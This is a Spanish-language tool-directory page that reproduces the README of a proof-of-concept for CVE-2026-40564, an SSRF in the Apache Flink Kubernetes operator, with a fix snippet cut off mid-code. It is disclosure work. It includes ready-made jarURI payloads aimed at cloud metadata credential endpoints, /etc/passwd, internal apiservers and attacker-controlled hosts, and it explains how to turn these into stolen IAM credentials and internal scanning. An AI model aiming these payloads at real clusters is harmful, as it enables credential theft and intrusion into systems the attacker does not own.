Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/oscerd/cve-2026-40564
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad en la Nube
GitHuboscerd/cve-2026-40564

CVE-2026-40564

CVE-2026-40564: SSRF a través de jarURI de FlinkSessionJob en apache/flink-kubernetes-operator. Reproducidor autocontenido que se ejecuta en un clúster local kind con un solo comando make.

Ver Repositorio
6hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-40564: SSRF a través de FlinkSessionJob.spec.job.jarURI en flink-kubernetes-operator

El operador Apache Flink Kubernetes no verifica el campo spec.job.jarURI en los recursos FlinkSessionJob (o FlinkDeployment). Cualquier persona que pueda crear uno de esos recursos puede establecer jarURI a cualquier URL. Cuando el operador reconcilia el recurso, obtiene esa URL desde dentro de su propio pod. El esquema puede ser http, https, file, o cualquiera de los plugins de sistema de archivos que Flink incluye, por lo que la solicitud puede ir a casi cualquier lugar al que el pod del operador pueda llegar.

  • CVE: CVE-2026-40564
  • Afectado: flink-kubernetes-operator 1.14.0, y main (1.15-SNAPSHOT al 2026-04-09)
  • Reportado a [email protected] y [email protected] el 2026-04-09
  • Cadena de llamadas: SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetch

Ejecutándolo

make verify

Esto ejecuta cinco pasos en orden:

  1. crear un clúster kind local
  2. instalar el operador (1.14.0) con Helm
  3. iniciar un clúster de sesión de Flink y esperar a que su JobManager se inicie
  4. pedir a webhook.site una URL nueva, luego aplicar un FlinkSessionJob cuyo jarURI apunte a ella
  5. consultar webhook.site e imprimir las solicitudes recibidas

Cuando funciona, el final de la ejecución se ve así:

==> [5/5] verify-ssrf
    target jarURI: https://webhook.site/<uuid>/exploit.jar
    target is webhook.site, confirming via its REST API...

    === webhook.site captured requests (newest first) ===
      2026-05-28 17:35:29  GET https://webhook.site/<uuid>/exploit.jar
        User-Agent: Java/17.0.17
        Source IP:  82.51.158.62

    CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
    Dashboard: https://webhook.site/#!/view/<uuid>

La primera ejecución toma entre 6 y 8 minutos. La mayor parte es descargar la imagen flink:1.17, que pesa alrededor de 700 MB. Ejecuciones posteriores toman cerca de 3 minutos.

Lo que necesitas

docker, kind, kubectl 1.23 o más reciente, helm 3, make, curl y jq. El clúster debe poder alcanzar Internet para comunicarse con webhook.site.

Apuntándolo a una URL diferente

Por defecto, el Makefile obtiene una URL nueva de webhook.site para ti. Para enviar la solicitud a otro lugar, establece SSRF_URL con el jarURI completo que desees. Se usa tal cual.

# reutilizar una URL específica de webhook.site
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar

# tu propio colaborador (Burp, interactsh, un listener de netcat, etc.)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar

# el servicio de metadatos de instancias de AWS
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# un esquema no http manejado por la capa de sistema de archivos de Flink
make verify SSRF_URL=file:///etc/passwd

Cómo la verificación confirma el resultado depende del objetivo. Si la URL está en webhook.site, el Makefile lee su API REST e imprime las solicitudes capturadas. Para cualquier otra cosa, lee el log del operador y busca el stack frame HttpArtifactFetcher.fetch, que indica que la descarga se ejecutó. WEBHOOK_URL también funciona y significa lo mismo que SSRF_URL.

Limpieza

make cleanup

Esto elimina el clúster kind. No queda nada.

Por qué ocurre

Tres clases están involucradas, y ninguna de ellas examina el esquema, host o IP en jarURI.

DefaultValidator.validateJobSpec verifica paralelismo, modo de actualización, configuración de savepoint y forma del recurso. Nunca lee job.getJarURI():

private Optional<String> validateJobSpec(
        JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
    if (job == null) return Optional.empty();
    Configuration configuration = Configuration.fromMap(confMap);
    // ... comprobaciones de paralelismo / modo de actualización / savepoint / recursos ...
    // job.getJarURI() nunca se inspecciona.
    return Optional.empty();
}

ArtifactManager.fetch selecciona un descargador según el esquema. No hay lista blanca, y cualquier cosa que no sea http o https pasa a la capa de sistema de archivos de Flink:

public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
    URI uri = new URI(jarURI);
    if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
        return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    } else {
        return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    }
}

HttpArtifactFetcher.fetch abre la URL tal como se proporciona. No hay verificación de host, de rango IP, ni nada que impida alcanzar direcciones loopback o link-local:

public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
    URL url = new URL(uri);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
    try (var inputStream = conn.getInputStream()) {
        FileUtils.copyToFile(inputStream, targetFile);
    }
    return targetFile;
}

Lo que un atacante obtiene

El operador normalmente se ejecuta con RBAC amplio. La carta Helm oficial otorga * en varios tipos de recursos, incluyendo secrets, y el pod puede normalmente alcanzar la red sin restricciones. Si puedes hacer que envíe solicitudes por ti, puedes:

  • leer servicios de metadatos en la nube (AWS, GCE, Azure) y obtener las credenciales IAM vinculadas al nodo del operador
  • alcanzar servicios dentro del clúster que solo escuchan en la red interna, o que confían en la IP de origen del operador
  • escanear puertos internos a ciegas, leyendo el resultado de vuelta desde el mensaje de error en el estado de FlinkSessionJob
  • usar file, s3, hdfs, gs, o cualquier otro esquema de sistema de archivos de Flink para leer archivos locales o comunicarse con almacenamiento al que el operador puede llegar pero tú no

En un clúster compartido donde varios equipos usan el mismo operador, cualquiera de ellos puede usarlo para alcanzar los recursos de otro equipo.

Otras URLs que funcionan

El reproducer por defecto usa webhook.site, pero el error no depende de cuál sea la URL. Configura SSRF_URL, o edita manifests/vulnerable-sessionjob.yaml, con cualquiera de estas:

jarURIAlcanza
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>AWS IMDSv1, las credenciales IAM del nodo del pod del operador
http://10.0.0.1:6443/apiUn apiserver dentro del clúster, o cualquier endpoint interno que tenga lista blanca la IP del operador
file:///etc/passwdEl propio sistema de archivos del pod del operador, a través de la rama del descargador de sistema de archivos
s3://attacker-bucket/x.jarS3, usando las credenciales del pod del operador

Solucionándolo

Agrega una comprobación en DefaultValidator.validateJobSpec:

if (job.getJarURI() != null) {
    Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
    if (uriError.isPresent()) return uriError;
}
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
    URI uri;
    try {
        uri = new URI(jarURI);
    } catch (URISyntaxException e) {
        return Optional.of("jarURI no es una URI válida: " + e.getMessage());
    }
    String scheme = uri.getScheme();
    if (scheme == null) return Optional.of("jarURI debe incluir un esquema");
Descargar herramienta